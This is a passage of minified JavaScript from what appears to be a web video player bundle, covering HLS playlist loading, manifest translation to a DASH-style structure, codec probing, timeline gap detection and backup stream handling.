i.forEach(function(n,t){r.PlaylistUtils.extrapolateProgramDateTime(n.segments);n.indexOfFirstSegment=0===t?0:i[t-1].indexOfLastSegment+1;n.indexOfLastSegment=n.indexOfFirstSegment+n.segments.length-1}),i};t.getAdaptationSetsWithUnknownCodecs=function(n){var i=n.Period.flatMap(function(n){return n.AdaptationSet.filter(function(n){return!(v.getCodecsFromAdaptationSet(n).length>0)})}),e=i.filter(function(n){var t=n._mimeType;return!o.MimeTypeHelper.isUnknown(t)}),r=i.filter(function(n){var t=n._mimeType;return o.MimeTypeHelper.isUnknown(t)}),f=u([],e,!0),t=r.shift();return t&&(t.Representation=u(u([],t.Representation,!0),r.flatMap(function(n){return n.Representation}),!0),t.Representation.sort(function(n,t){return n._bandwidth-t._bandwidth}),f.push(t)),f};t.updateMissingCodecsForPlaylists=function(n,t,i){!function(n,t){t.forEach(function(t){return t.attributes.CODECS=function(n,t){var u=Object.keys(e.CodecStringHelper.getExtractedCodecStrings(n)),r=e.CodecStringHelper.getExtractedCodecStrings(t),i=Object.keys(r).filter(function(n){return!u.includes(n)}).map(function(n){return r[n]}).join(",");return i&&0!==i.length?function(n,t,i){return"string"!=typeof n||0===n.length?t:n+i+t}(n,i,","):n}(t.attributes.CODECS,n)})}(n,l(t,i))};t.getRepresentation=function(n,t){var i=function(n,t){return t.AdaptationSet.find(function(t){return t._internalId.equals(n)})}(n,t);return i?i.Representation.find(function(t){return t._internalId.equals(n)}):null};t.findAllOrMatchingVariants=l},33827:function(n,t,i){"use strict";function r(n,t,i,r){return{hasGap:n,gapSizeSec:t,couldHandle:i,correctedIndex:r}}function u(n){return n>=0&&isFinite(n)}function o(n,t,i){for(;n>.001;){if(i<=0)return-1;n-=t[i-1]._duration;i--}return i}function s(n,t,i){for(;n<-.001;)if(n+=t[i]._duration,++i>=t.length)return 1/0;return i}Object.defineProperty(t,"__esModule",{value:!0});t.HlsTimelineTracker=void 0;var h=i(18665),f=i(58975),c=i(3464),e=i(9827),l=function(){function n(n,t){var i=this;this.context=n;this.playbackTimeNextSegment=-1;this.allowedGapSizeSec=t;this.playerStateService=this.context.serviceManager.get(h.ServiceName.PlayerStateService);this.unsubscribeFromTargetPlaybackTimeChange=c.subscribe(this.context.store)(function(n){return f.getTargetPlaybackTime(f.getPlayerState(n))},function(){return i.seekVerificationOnNextSegment=!0},function(n){return-1!==n})}return n.prototype.reset=function(){this.playbackTimeNextSegment=-1},n.prototype.isSeekTargetVerificationNeeded=function(){return this.seekVerificationOnNextSegment&&-1===this.playbackTimeNextSegment},n.prototype.trackPlaybackTime=function(n){var t,i=null===(t=n.getSegmentInfo())||void 0===t?void 0:t.duration,r=n.getDuration();this.playbackTimeNextSegment=n.getPlaybackTime()+Math.max(r,null!=i?i:r)},n.prototype.checkForTimelineGap=function(n,t,i){var r,u;return this.playbackTimeNextSegment>=0?this.checkGapForConsecutiveSegments(n,t,i):(u=(null===(r=this.playerStateService)||void 0===r?void 0:r.seekingOrTimeshifting)?this.playerStateService.targetPlaybackTime:-1,this.seekVerificationOnNextSegment&&u>-1?(this.seekVerificationOnNextSegment=!1,this.checkSeekAccuracy(u,n,t,i)):{hasGap:!1})},n.prototype.checkGapForConsecutiveSegments=function(n,t,i){var y=function(n,t){var i,r=null===(i=n.getSegmentInfo())||void 0===i?void 0:i.startTime,u=n.getPlaybackTime();return void 0===r||Math.abs(u-r)>n.getDuration()+t?u:Math.min(u,r)}(n,this.allowedGapSizeSec),v;if(function(n,t,i){return n>=t&&n<=i}(this.playbackTimeNextSegment,y-this.allowedGapSizeSec,y+n.getDuration()))return{hasGap:!1};var c={hasGap:!1},h=n.getPlaybackTime()-this.playbackTimeNextSegment,l=t.SegmentList?t.SegmentList[0].SegmentURL:[],p=e.findSegmentUrlIndexWithinSegmentList(n,l),a=p>=0?p:i,f=a;return h>0?((v=u(f=o(h,l,a)))||(this.context.logger.debug("Could not handle gap on playlist switch, reached lower boundary of segment list"),f=0),c=r(!0,h,v,f)):h<0&&((v=u(f=s(h,l,a)))||(this.context.logger.debug("Could not handle gap on playlist switch, reached upper boundary of segment list"),f=l.length),c=r(!0,h,v,f)),f===a&&c.hasGap&&(this.context.logger.debug("Ignoring gap as calculated new segment index did not change"),c.hasGap=!1),c},n.prototype.checkSeekAccuracy=function(n,t,i,f){var l=i.SegmentList?i.SegmentList[0].SegmentURL:[],y=t.getPlaybackTime(),p=t.getPlaybackTime()+t.getDuration(),h,a,v,c;return this.context.logger.debug("HLS seek target verification",{seekTarget:n,segmentStartTime:y,segmentEndTime:p}),c=e.findSegmentUrlIndexWithinSegmentList(t,l),c=c>=0?c:f,n<y?((v=u(h=o(a=y-n,l,c)))||(h=0),this.context.logger.debug("Target segment starts too late, corrected segment index from ".concat(c," to ").concat(h)),r(!0,a,v,h)):n>p?((v=u(h=s(a=p-n,l,c)))||(h=l.length),this.context.logger.debug("Target segment ends too early, corrected segment index from ".concat(c," to ").concat(h)),r(!0,a,v,h)):{hasGap:!1}},n.prototype.dispose=function(){this.unsubscribeFromTargetPlaybackTimeChange();this.seekVerificationOnNextSegment=!1;this.playbackTimeNextSegment=-1},n}();t.HlsTimelineTracker=l},73725:function(n,t,i){"use strict";var u=this&&this.__assign||function(){return u=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},u.apply(this,arguments)},y;Object.defineProperty(t,"__esModule",{value:!0});t.M3u8DashManifest=t.HLS_PERIOD_ID=void 0;var p=i(60997),w=i(42055),h=i(331),b=i(76885),k=i(38353),e=i(41735),l=i(77874),d=i(31043),o=i(18665),f=i(79814),g=i(47479),a=i(52729),nt=i(49422),c=i(53950),v=i(52080),r=i(79367),s=i(34435);t.HLS_PERIOD_ID="0";y=function(){function n(n,t){this.lastStartOffset=-1/0;this.context=n;this.sourceContext=t;this.m3u8Translator=new nt.M3u8Translator(n,t);this.totalDurationSec=1/0;this.sourceStore=n.serviceManager.get(o.ServiceName.SourceStoreService,t.sourceIdentifier)}return n.prototype.updateBaseUrl=function(n){this.m3u8Translator.updateBaseUrl(n)},n.prototype.getCurrentHlsState=function(){return s.getHlsState(this.sourceStore.getState())},n.prototype.findAdaptationSet=function(n){return this.getManifest().Period[0].AdaptationSet.find(function(t){var i;return t._internalId.adaptationSetId===n||(null===(i=t.ContentComponent)||void 0===i?void 0:i.some(function(t){return t._id===n}))})},n.prototype.createDashManifestSkeleton=function(n){var t=this.m3u8Translator.createDashManifestSkeleton(n);return k.initializeInternalIds(t)},n.prototype.translateSegmentList=function(n,t){return this.m3u8Translator.translateSegmentList(n,t)},n.prototype.extractBackupStreams=function(n){return this.m3u8Translator.extractBackupStreams(n)},n.prototype.onMasterPlaylistAvailable=function(n){var t=this.createDashManifestSkeleton(n);this.sourceStore.dispatch(e.setManifestAction(t));this.sourceStore.dispatch(r.setDefaultLanguages(n));this.sourceStore.dispatch(r.setCustomTags(n));this.sourceStore.dispatch(r.setMasterPlaylistString(n.rawString))},n.prototype.getManifest=function(){return l.getManifest(this.sourceStore.getState())},n.prototype.getAllVariantRepresentions=function(){return this.getManifest().Period[0].AdaptationSet.filter(function(n){return f.MimeTypeHelper.isAV(n._mimeType)||f.MimeTypeHelper.isSubtitle(n._mimeType)||f.MimeTypeHelper.isImage(n._mimeType)}).flatMap(function(n){return n.Representation})},n.prototype.onMediaLoaded=function(n,t,i,u){var e=this,h,c;return this.sourceStore.dispatch(r.setMasterPlaylistString(n)),this.sourceStore.dispatch(r.setEndlist(Boolean(i.endList))),i.playlistType&&!s.getPlaylistType(this.getCurrentHlsState())&&this.sourceStore.dispatch(r.setPlaylistType(i.playlistType)),f.MimeTypeHelper.isAV(t._mimeType)&&(this.trackPlaylistDuration(i),this.updateDashManifestProperties(i)),this.calculatePlaylistStartTime(i),h=this.getManifest().Period[0],c=this.getRepresentationsFromUrl(t.Uri,h).map(function(n){return e.updateRepresentation(n,i,u)}),c.forEach(function(n){e.sourceStore.dispatch(r.updatePlaylist(i,n));f.MimeTypeHelper.isAV(t._mimeType)&&(e.sourceStore.dispatch(r.removeDroppedOutDiscontinuity(u,n)),e.sourceStore.dispatch(r.updateDiscontinuityStartAndEndTimes(u,n)));var c=n._id,o=s.getPlaylistSegments(e.getCurrentHlsState(),c),l=e.determineFirstDiscoStartTime(o,i);e.updatePeriodStartAndDuration(h,l,u);o.length>0&&null==o[0].startTime&&e.initSegmentStartTimesFromDiscoSequenceStartTime(c,u);e.context.settings.ENABLE_SEGMENT_INFO_PROVIDER_FROM_STORE&&e.updateSegmentInfoMap(i,n)}),this.context.serviceManager.maybeCall(o.ServiceName.TimedMetadataService,function(n){return g.handleDateRangeMetadata(i,n)}),c.find(function(n){return n._id===t._id})},n.prototype.updateSegmentInfoMap=function(n,t){var r,i,u=t._internalId.key(),f=null===(r=this.sourceStore.getState())||void 0===r?void 0:r.segmentInfoMap[u];f&&(i=a.updateMapEntry(f,n,t))||(i=a.createNewMapEntry(n,t),this.initializeStartTimesOnSegmentMapEntry(i,n));this.sourceStore.dispatch(d.setSegmentInfos(u,i))},n.prototype.initializeStartTimesOnSegmentMapEntry=function(n,t){var i=this.sourceStore.getState(),r;i&&(r=v.getStartTimeExtrapolationReferencePoint(n,t,i),v.extrapolateStartTime(n.segmentInfos,r))},n.prototype.determineFirstDiscoStartTime=function(n,t){return n.length>0&&null!=n[0].startTime?s.getFirstDiscoSequenceTiming(this.getCurrentHlsState()).startTime:t.startTime},n.prototype.updatePeriodStartAndDuration=function(n,i,r){var u=r.reduce(function(n,t){return n+t.duration},0),f=0===n.duration?u:Math.min(n.duration,u),o=this.isLive()?1/0:f,s={start:i,_start:"PT".concat(i,"S"),duration:o,_duration:"PT".concat(f,"S")};this.sourceStore.dispatch(e.updatePeriodTimingAction(t.HLS_PERIOD_ID,s))},n.prototype.trackPlaylistDuration=function(n){this.totalDurationSec=n.endList?Math.min(this.totalDurationSec,n.totalDuration):n.totalDuration},n.prototype.updateDashManifestProperties=function(n){var i,r=!n.endList,u=l.getManifest(this.sourceStore.getState()),t={_requestTimestamp:n.requestTimestamp,_type:r?"dynamic":"static",_mediaPresentationDuration:r?1/0:"PT".concat(this.totalDurationSec,"S"),_maxSegmentDuration:"PT".concat(n.targetDuration,"S"),_hasIndependentSegments:u._hasIndependentSegments||n.independentSegments};n.start&&(n.start.timeOffset=c.PlaylistUtils.getStartOffsetCloseToPlaylistEnd(n,this.lastStartOffset),this.lastStartOffset=n.start.timeOffset,t._startOffset=c.PlaylistUtils.getStartOffset(n));r&&(t._minimumUpdatePeriod="PT".concat(n.targetDuration,"S"),t._timeShiftBufferDepth=-this.totalDurationSec,t._availabilityStartTime=null!==(i=u._availabilityStartTime)&&void 0!==i?i:new Date(n.requestTimestamp-h.toMilliSeconds(this.totalDurationSec)).toISOString());this.sourceStore.dispatch(e.updateManifestAction(t))},n.prototype.getRepresentationsFromUrl=function(n,t){return t.AdaptationSet.flatMap(function(t){return t.Representation.filter(function(t){return b.URLHelper.isSubUrl(n,t.Uri)})})},n.prototype.updateRepresentation=function(n,t,i){var r=u({},n);return r._requestTimestamp=t.requestTimestamp,r._updateInterval=c.calculateUpdateIntervalInSeconds(this.context.settings,t),r._hls=u(u({},r._hls),{requestTimestamp:t.requestTimestamp,mediaSequence:t.mediaSequence}),r.SegmentList=[{SegmentURL:[]}],this.updateSegmentList(r,t,i),this.sourceStore.dispatch(e.updateRepresentationAction(r)),r},n.prototype.updateSegmentList=function(t,i,r){var f=r.flatMap(function(n){return n.segments}),u;0!==f.length?t.SegmentList&&(this.context.logger.debug("Updating segment list for playlist ".concat(t._id)),u=this.getTranslatedSegmentList(t,f),u.contentProtectionInfos.length>0&&(t.ContentProtection=n.contentProtectionToXmlJson(u.contentProtectionInfos)),t.SegmentList[0].SegmentURL=u.entries,t.SegmentList[0]._duration=i.targetDuration,t.SegmentList[0]._timescale=1):this.context.logger.debug("No segments for representation ".concat(t._id," in loaded playlist"))},n.prototype.getTranslatedSegmentList=function(n,t){if(!this.isLive()){var i=this.context.serviceManager.maybeCall(o.ServiceName.ManifestCachingService,function(t){return t.getSegmentList(n.Uri)},null,this.sourceContext.sourceIdentifier);return i||(i=this.m3u8Translator.translateSegmentList(n,t),this.context.serviceManager.maybeCall(o.ServiceName.ManifestCachingService,function(t){return t.cacheSegmentList(i,n.Uri)},null,this.sourceContext.sourceIdentifier)),i}return this.m3u8Translator.translateSegmentList(n,t)},n.prototype.initSegmentStartTimesFromDiscoSequenceStartTime=function(n,t){var u=this.getCurrentHlsState().discontinuitySequenceTiming,f=Object.keys(u).reverse().find(function(n){return 0!==u[n].startTime}),i;null!=f?(i=t.find(function(n){return String(n.id)===f}),i&&i.segments[0].discontinuity&&this.sourceStore.dispatch(r.initSegmentStartTimes(n,i.indexOfFirstSegment,u[f].startTime))):this.context.logger.debug("Could not find any discontinuity start times to initialize expected segment playback times")},n.prototype.calculatePlaylistStartTime=function(n){var t=n.segments[0];n.endList?(n.startTime=w.getStartTimeOffset(this.sourceStore.getState()),n.segments[0].startTime=n.startTime):t&&t.dateTime?(n.startTime=h.toSeconds(t.dateTime.getTime()),n.segments[0].startTime=n.startTime):n.startTime=h.toSeconds(n.requestTimestamp)-n.totalDuration},n.prototype.isLive=function(){return"dynamic"===this.getManifest()._type},n.contentProtectionToXmlJson=function(n){return n.map(function(n){var t={_schemeIdUri:n.schemeIdUri};return n.defaultKid&&(t["_cenc:default_KID"]=n.defaultKid),n.pssh&&(t.pssh=[{__text:n.pssh}]),t})},n.prototype.dispose=function(){this.m3u8Translator=p.dispose(this.m3u8Translator)},n}();t.M3u8DashManifest=y},22675:function(n,t,i){"use strict";function c(n,t,i){var e=i.url,o=i.manifestText,r=n.serviceManager.maybeCall(f.ServiceName.ManifestCachingService,function(n){return n.getParsedManifest(e)},null,t.sourceIdentifier);return r?Promise.resolve(r):u.parseHlsManifest(n,o)}var s=this&&this.__assign||function(){return s=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},s.apply(this,arguments)},g;Object.defineProperty(t,"__esModule",{value:!0});t.M3u8Loader=t.getParsedManifest=void 0;var e=i(25550),r=i(28764),f=i(18665),nt=i(60997),a=i(62510),h=i(29638),v=i(88005),tt=i(36564),o=i(67345),it=i(57782),y=i(76650),p=i(8272),w=i(79814),b=i(331),k=i(99162),d=i(13034),rt=i(4053),ut=i(41735),ft=i(64697),l=i(293),u=i(13254),et=i(73725),ot=i(32352),st=i(53950);t.getParsedManifest=c;g=function(){function n(n,t){var i=this;this.variantUpdateLoaders={};this.updateRepresentation=function(n){i.context.logger.debug("M3u8Loader: updateRepresentation (".concat(n.Uri));var t=i.variantUpdateLoaders[n._id];return i.loadPlaylist(t,n.Uri).then(function(t){return i.onMediaLoaded(t,n)}).then(function(n){if(u.isM3u8Error(n))throw n;return n}).catch(function(){return i.handleRepresentationUpdateFailure(n)})};this.context=n;this.sourceContext=t;this.registeredOnPlayEventHandlers=[];this.registeredOnPausedEventHandlers=[];this.discontinuitySequences=[];this.isCancelled=!1;this.translatedManifest=new et.M3u8DashManifest(n,t);this.masterPlaylistLoader=this.createLoader(o.HttpRequestType.MANIFEST_HLS_MASTER);this.sourceStore=n.serviceManager.get(f.ServiceName.SourceStoreService,t.sourceIdentifier)}return n.prototype.load=function(n){var t=this;return this.isCancelled=!1,this.loadPlaylist(this.masterPlaylistLoader,n).then(function(n){return t.parseMasterPlaylist(n)}).then(function(n){return t.translatedManifest.updateBaseUrl(n.url),t.initializeBackupStreamsHandler(n),t.executeCodecVerification(n)}).catch(function(n){return t.isCancelled||null==n?Promise.reject():n instanceof r.PlayerError||n instanceof Error?Promise.reject(n):Promise.reject(t.getErrorFromResponse(n))})},n.prototype.parseMasterPlaylist=function(n){var i=this,t,f;return this.isCancelled?Promise.reject(new Error("The loading of the HLS source was cancelled.")):(t=n.body,void 0===t)?Promise.reject(new Error("Cannot parse the playlist: content is empty.")):(f={manifestText:t,url:n.url},c(this.context,this.sourceContext,f).then(function(t){return u.isValidHlsPlaylist(t)?(i.maybeCacheManifest(n,t),u.ensureMasterPlaylist(i.context,t,n.url)):Promise.reject(new Error("Cannot parse master playlist: invalid format."))}).then(function(i){return s(s({},i),{rawString:t,url:n.url})}).catch(function(n){return Promise.reject(new r.PlayerError(e.ErrorCode.SOURCE_MANIFEST_INVALID,{errorMessage:n.message},"HLS manifest is not a valid M3U playlist"))}))},n.prototype.initializeBackupStreamsHandler=function(n){var t=this.translatedManifest.extractBackupStreams(n);t.some(function(n){return n.length>1})&&(this.backupStreamsHandler=new l.HlsBackupStreamsHandler(this.context,t,this.updateRepresentation))},n.prototype.loadFirstVariants=function(){var t=this.sourceStore.getState(),i=this.translatedManifest.getManifest().Period[0],r=d.findAdaptationSetOfMimeType(w.MimeType.VideoMp4,i,{sourceState:t}),u=d.findAdaptationSetOfMimeType(w.MimeType.AudioMp4,i,{sourceState:t,playbackConfig:this.context.config.playback}),n=[];return r&&n.push(this.loadFirstPlaylist(r)),u&&n.push(this.loadFirstPlaylist(u)),Promise.all(n)},n.prototype.loadFirstPlaylist=function(n){var i=this,t=this.getStartRepresentation(n.Representation,n._mimeType,n);return t?this.updateRepresentation(t).then(function(n){return i.sourceStore.dispatch(it.setPreferredBitrateForMimeTypeAction(t._mimeType,t._bandwidth)),i.sourceStore.dispatch(rt.setRepresentationIdAction(t._internalId)),n}).catch(function(){return i.context.logger.debug("Representation failed to load, dropping it",t._id),n.Representation=n.Representation.filter(function(n){return n!==t}),i.loadFirstPlaylist(n)}):(this.context.logger.warn("All ".concat(n._mimeType," variants/rendition failed to load")),Promise.reject("all failed"))},n.prototype.getStartRepresentation=function(n,t,i){return this.context.serviceManager.maybeCall(f.ServiceName.AdaptationService,function(r){r.setAdaptationSetId(i._mimeType,i._internalId);var u=r.selectRepresentation(t,{},n);return n.find(function(n){return n._internalId.equals(u)})})},n.prototype.updateAdaptationSet=function(n){var t=this,i=this.translatedManifest.findAdaptationSet(n);return i?Promise.all(i.Representation.map(function(n){var i=t.createLoader(o.HttpRequestType.MANIFEST_HLS_VARIANT);return t.loadPlaylist(i,n.Uri).then(function(i){return t.onMediaLoaded(i,n)}).then(function(n){u.isM3u8Error(n)||t.sourceStore.dispatch(ut.updateRepresentationAction(n))})})):Promise.reject("Could not find data")},n.prototype.maybeCacheManifest=function(n,t){this.context.serviceManager.maybeCall(f.ServiceName.ManifestCachingService,function(i){i.cacheHttpResponse(n,n.url);i.cacheParsedManifest(t,n.url)},null,this.sourceContext.sourceIdentifier)},n.prototype.executeCodecVerification=function(n){var t=this;return this.verifyMissingCodecs(n).then(function(n){return t.handleMasterPlaylist(n),t.loadFirstVariants().then(function(){return t.translatedManifest.getManifest()}).catch(function(n){return Promise.reject(new r.PlayerError(e.ErrorCode.SOURCE_HLS_STREAM_ERROR,{error:n},"There was an error while retrieving the variant playlists."))})}).catch(function(n){var i=n instanceof r.PlayerError?n:new r.PlayerError(e.ErrorCode.SOURCE_MANIFEST_INVALID);return t.context.logger.debug("codec verification failed",n),Promise.reject(i)})},n.prototype.verifyMissingCodecs=function(n){var i=this.translatedManifest.createDashManifestSkeleton(n),t=u.getAdaptationSetsWithUnknownCodecs(i);return 0===t.length?Promise.resolve(n):(this.context.logger.debug("Codecs are missing in master playlist - probing them from segments now"),this.parseMissingCodecs(n,t))},n.prototype.parseMissingCodecsFromPlaylistResponse=function(n,t){var i=this,r=n.url,u=n.body,e;return void 0===u?Promise.reject("Cannot parse codec, empty manifest response"):(e={url:t.Uri,manifestText:u},c(this.context,this.sourceContext,e).then(function(u){t._hls={mediaSequence:u.mediaSequence};var o=i.translatedManifest.translateSegmentList(t,u.segments),s=!u.endList,h=st.calculateUpdateIntervalInSeconds(i.context.settings,u),e=Date.now()+b.toMilliSeconds(h);return i.context.serviceManager.maybeCall(f.ServiceName.ManifestCachingService,function(t){t.cacheHttpResponse(n,r,e);t.cacheParsedManifest(u,r,e)},null,i.sourceContext.sourceIdentifier),new ft.CodecDetector(i.context).probeCodecs(o.entries,s)}))},n.prototype.getRepresentationForCodecDetection=function(n){var t=n.Representation;return this.getStartRepresentation(t,"video",n)},n.prototype.parseMissingCodecsForAdaptationSet=function(n,t){var r=this,i=this.getRepresentationForCodecDetection(n),f;return i?(n.Representation.splice(n.Representation.indexOf(i),1),f=new v.DefaultContentLoader(this.context,{requestType:o.HttpRequestType.MANIFEST_HLS_VARIANT}),this.loadPlaylistForCodecProbing(f,i.Uri).then(function(n){return r.parseMissingCodecsFromPlaylistResponse(n,i)}).then(function(n){return u.updateMissingCodecsForPlaylists(n,t,i.Uri)}).catch(function(n){var t;throw r.context.logger.debug("Problem while loading playlist for parsing missing codecs ".concat(null!==(t=null==n?void 0:n.message)&&void 0!==t?t:n),n),n;})):(this.context.logger.warn("All video variants/rendition failed to load"),Promise.reject("all failed"))},n.prototype.loadPlaylistForCodecProbing=function(n,t){var i=this;return this.loadPlaylist(n,t).catch(function(r){var f,u;return i.context.logger.debug("Representation failed to load during codec probing ".concat(t)),u=null===(f=i.backupStreamsHandler)||void 0===f?void 0:f.getNextBackupUriForCodecProbing(t),u?(i.context.logger.debug("Attempting to continue codec probing using backup stream ".concat(u)),i.loadPlaylistForCodecProbing(n,u)):Promise.reject(r)})},n.prototype.parseMissingCodecs=function(n,t){var r=this,i=t.shift();return i?this.parseMissingCodecsForAdaptationSet(i,n).then(function(){return r.parseMissingCodecs(n,t)}):Promise.resolve(n)},n.prototype.handleMasterPlaylist=function(n){var t,r=this,i;void 0===this.masterPlaylist&&(this.masterPlaylist=n);this.translatedManifest.onMasterPlaylistAvailable(n);i=this.translatedManifest.getAllVariantRepresentions();i.forEach(function(n){r.variantUpdateLoaders[n._id]=r.createLoader(o.HttpRequestType.MANIFEST_HLS_VARIANT)});null===(t=this.backupStreamsHandler)||void 0===t||t.populateBackupStreamsMap(i)},n.prototype.onMediaLoaded=function(n,t){var i=this,r,e,o,s;return this.isCancelled?Promise.reject(k.REPRESENTATION_UPDATE_CANCEL):(r=n.url,e=n.body,!e)?Promise.resolve(h.M3u8Error.INAVLID):(o=Date.now(),s={url:r,manifestText:e},c(this.context,this.sourceContext,s).then(function(s){var c,l,a,v,w;return(s.requestTimestamp=o,ot.M3u8Validator.checkForError(s))?h.M3u8Error.INAVLID:(s.mediaSequence=null!==(c=s.mediaSequence)&&void 0!==c?c:0,s.start=null!==(l=s.start)&&void 0!==l?l:i.masterPlaylist.start,i.discontinuitySequences=u.createDiscontinuitySequences(s,i.discontinuitySequences),a=i.filterTooSmallPeriods(i.discontinuitySequences,Boolean(s.endList)),v=i.translatedManifest.onMediaLoaded(e,t,s,a),i.translatedManifest.isLive()||i.context.serviceManager.maybeCall(f.ServiceName.ManifestCachingService,function(t){t.cacheHttpResponse(n,r);t.cacheParsedManifest(s,r)},null,i.sourceContext.sourceIdentifier),w=b.toSeconds(Date.now()-o),i.context.store.dispatch(y.addMetricsValue("default",p.MetricType.ProcessingTime,w)),v)}))},n.prototype.filterTooSmallPeriods=function(n,t){return n.filter(function(i,r){var f=!t&&r===n.length-1,u=i.segments.reduce(function(n,t){return n+t.duration},0);return!!(0===r&&u>0||f)||u>0})},n.prototype.stop=function(){var n=this;this.registeredOnPlayEventHandlers.forEach(function(t){return n.context.eventHandler.off(a.PlayerEvent.Play,t)});this.registeredOnPausedEventHandlers.forEach(function(t){return n.context.eventHandler.off(a.PlayerEvent.Paused,t)});this.registeredOnPlayEventHandlers=[];this.registeredOnPausedEventHandlers=[];this.stopLoaders();this.isCancelled=!0},n.prototype.stopLoaders=function(){var n=this;this.masterPlaylistLoader.cancel();Object.keys(this.variantUpdateLoaders).forEach(function(t){n.variantUpdateLoaders[t].dispose();delete n.variantUpdateLoaders[t]})},n.prototype.handleRepresentationUpdateFailure=function(n){return this.isCancelled?(this.context.logger.debug("M3u8Loader: representation update was cancelled (".concat(n.Uri,")")),Promise.reject(k.REPRESENTATION_UPDATE_CANCEL)):(this.context.logger.debug("M3u8Loader: updateRepresentation failed (".concat(n.Uri)),this.switchToBackupStream(n).then(function(n){return n[0]||Promise.reject(h.M3u8Error.COULD_NOT_LOAD)}).catch(function(n){return Object.values(l.BackupStreamErrors).includes(n)?Promise.reject(h.M3u8Error.COULD_NOT_LOAD):Promise.reject(n)}))},n.prototype.switchToBackupStream=function(n){return this.backupStreamsHandler?this.backupStreamsHandler.switchToBackupStream(n):Promise.reject(l.BackupStreamErrors.NO_BACKUP_STREAMS)},n.prototype.loadPlaylist=function(n,t){var i,u,s,h;return t?(s=this.context.serviceManager.maybeCall(f.ServiceName.ManifestCachingService,function(n){return n.getHttpResponse(t)},null,this.sourceContext.sourceIdentifier),s)?Promise.resolve(s):(h=null===(i=this.sourceContext.source.options)||void 0===i?void 0:i.manifestWithCredentials,n.load(t,o.HttpRequestMethod.GET,null,null,null,h)):(u=new r.PlayerError(e.ErrorCode.SOURCE_INVALID,void 0,"Cannot load the playlist: no URL was provided."),this.context.eventHandler.fireError(u),Promise.reject(u))},n.prototype.createLoader=function(n){var t=this;return new v.DefaultContentLoader(this.context,{onSuccess:function(n){var i,r;tt.isDownloadTimeInformationValid(n)&&(t.context.logger.debug("Downloaded playlist in: ".concat(null===(i=n.elapsedTime)||void 0===i?void 0:i.toFixed(2),", TTFB: ").concat(null===(r=n.timeToFirstByte)||void 0===r?void 0:r.toFixed(2))),t.context.store.dispatch(y.addMetricsValue("default",p.MetricType.DownloadInformation,{bytes:n.length,time:n.elapsedTime,timeToFirstByte:n.timeToFirstByte})))},maxRetries:this.context.settings.MAX_MPD_RETRIES,requestType:n,resetRetriesWhenOffline:!0})},n.prototype.getErrorFromResponse=function(n){var t=new r.PlayerError(e.ErrorCode.SOURCE_COULD_NOT_LOAD_MANIFEST,{sourceUrl:n.url,statusCode:n.status},"Failed to load the playlist: ".concat(n.status," ").concat(n.statusText,"."),this.sourceContext.sourceIdentifier);return n.status===XMLHttpRequest.UNSENT&&(t=new r.PlayerError(e.ErrorCode.NETWORK_ERROR,{url:n.url,statusCode:n.status,statusText:n.statusText},"Failed to load hls playlist, statusCode: ".concat(n.status,", statusText: ").concat(n.statusText),this.sourceContext.sourceIdentifier)),t},n.prototype.dispose=function(){var n,t=this;this.stop();this.translatedManifest=nt.dispose(this.translatedManifest);this.masterPlaylist=null;this.masterPlaylistLoader.dispose();null===(n=this.backupStreamsHandler)||void 0===n||n.dispose();Object.keys(this.variantUpdateLoaders).forEach(function(n){return t.variantUpdateLoaders[n].dispose()});this.variantUpdateLoaders=null},n}();t.M3u8Loader=g},83740:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.uniqueRenditions=void 0;var r=i(45873);t.uniqueRenditions=function(n){var t=[];return n.forEach(function(n){var i=t.findIndex(function(t){return r.compareValues(n,t,["GROUP-ID","NAME","TYPE"])}),u;-1!==i?(u=t[i],"YES"===n.DEFAULT&&"YES"!==u.DEFAULT&&(t[i]=n)):t.push(n)}),t}},73471:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.M3u8RepresentationFactory=void 0;var r=i(52442),s=i(33696),u=i(42283),e=i(26190),o=i(76885),f=i(53950),h=function(){function n(n,t){this.context=n;this.sourceContext=t}return n.prototype.create=function(n,t,i,u,f){var e,o;if(void 0===f&&(f=!0),!n)return null;if(e=this.createBaseRepresentation(n,u),t===r.RepresentationType.AUDIO)e=this.extendToAudioRepresentation(n,e,i,u);else if(t===r.RepresentationType.VIDEO)e=this.extendToVideoRepresentation(n,e,i,u,f);else{if(t!==r.RepresentationType.SUBTITLE)return null;e=this.extendToSubtitleRepresentation(n,e,i,u)}return o=this.getLabelForRepresentation(e),o&&(e._label=o),e},n.prototype.createBaseRepresentation=function(n,t){var i=n.uri||n.URI,r;return i&&!o.URLHelper.isUrlAbsolute(i)&&(i=o.URLHelper.concatBaseUrlWithPartial(t,i)),r={_id:"",_mimeType:"",_bandwidth:0,_codecs:"",_hls:{requestTimestamp:0},BaseURL:null,SegmentList:[{SegmentURL:[]}],Uri:i},n.NAME&&(r._label=n.NAME),r},n.prototype.extendToVideoRepresentation=function(n,t,i,r,e){var o=t,s;return(o._mimeType="video/"+i,o._width=0,o._height=0,o.BaseURL=[{url:f.PlaylistUtils.getBaseUrl(r,n.uri)}],o._bandwidth=n.attributes["AVERAGE-BANDWIDTH"]||n.attributes.BANDWIDTH,o._bandwidth||(o._bandwidth=this.context.settings.MIN_SELECTABLE_VIDEO_BITRATE),o._bandwidth=Number(o._bandwidth),n.attributes.CODECS)&&(s=u.CodecStringHelper.getExtractedCodecStrings(n.attributes.CODECS),u.CodecStringHelper.hasOldAvc1CodecFormat(s.video)&&(s.video=u.CodecStringHelper.convertAvc1ToAvcotiCodecFormat(s.video)),e?s.video&&s.audio?o._codecs=s.video+","+s.audio:s.video&&!s.audio?o._codecs=s.video:!s.video&&s.audio&&(o._codecs=s.audio):o._codecs=s.video),n.attributes["FRAME-RATE"]&&(o._frameRate=parseFloat(n.attributes["FRAME-RATE"])),n.attributes.RESOLUTION&&(o._width=n.attributes.RESOLUTION.width,o._height=n.attributes.RESOLUTION.height,o._id+=n.attributes.RESOLUTION.height+"_"),o._id+=n.attributes.BANDWIDTH,o},n.prototype.extendToAudioRepresentation=function(n,t,i,r){var e,o,s,u=t;return u._id=n.NAME+" "+n["GROUP-ID"]||"",u._mimeType="audio/"+i,u._codecs=n.CODECS||(null===(e=n.attributes)||void 0===e?void 0:e.CODECS),u._name=n.NAME||"",u._groupId=n["GROUP-ID"]||"",u._label=u._name+" 